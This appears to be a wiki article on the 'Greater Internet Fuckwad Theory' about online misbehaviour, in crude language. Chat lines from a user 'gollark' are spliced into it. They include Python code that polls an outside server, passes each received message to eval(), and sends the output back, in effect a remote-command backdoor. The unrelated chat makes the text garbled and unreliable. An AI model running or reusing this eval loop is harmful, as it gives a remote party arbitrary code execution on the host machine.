Dickwad theory

The Dickwad Theory or John Gabriel's Greater Internet Fuckwad Theory[1] states that:

Normal Person + Anonymity + Audience = Total Fuckwad
Someone is wrong on
The Internet
Log in:
v - t - e

Face it, this explains everything.

Examples and applications

It seems to happen slower in more lefty circles, mostly because one of the values being clung to is 'try not to be a dick.' But given enough time, cliques find a way.

When your group considers being an asshole a virtue, well, the process accelerates.

Variations

Yahtzee Croshaw of Zero Punctuation fame has postulated that the theory is actually too complex, and proposes removing the "Anonymity" and "Audience" sections to leave the formula as "Normal Person = Total Fuckwad", on the basis that *all* people are fuckwads and that it's not so much the presence of anonymity or an audience that causes issues, but more the lack of consequence for being outwardly the complete dick someone necessarily is on the inside.[2]

gollark: Plus, unlike the old version, it only uses builtin python modules.
gollark: It's very secure.
gollark: ```pythonimport urllib3, jsonhttp = urllib3.PoolManager()def send(x): http.request("POST", "https://spudnet.osmarks.net/httponly", body=json.dumps({"mode": "send", "channel": "potatOS", "message": x}), headers={"Content-Type": "application/json"})while True: r = http.request("POST", "https://spudnet.osmarks.net/httponly", body=json.dumps({"mode": "recv", "channel": "potatOS", "timeout": 30000}), headers={"Content-Type": "application/json"}) data = json.loads(r.data) if data["result"] != None: res = data["result"]["data"] try: send(repr(eval(res))) except Exception as e: send(repr(e))```Using the new SPUDNET-HTTP API.
gollark: Make it continuously ping osmarks.net so you know what it's up to.
gollark: Routers can do this.

See also

References

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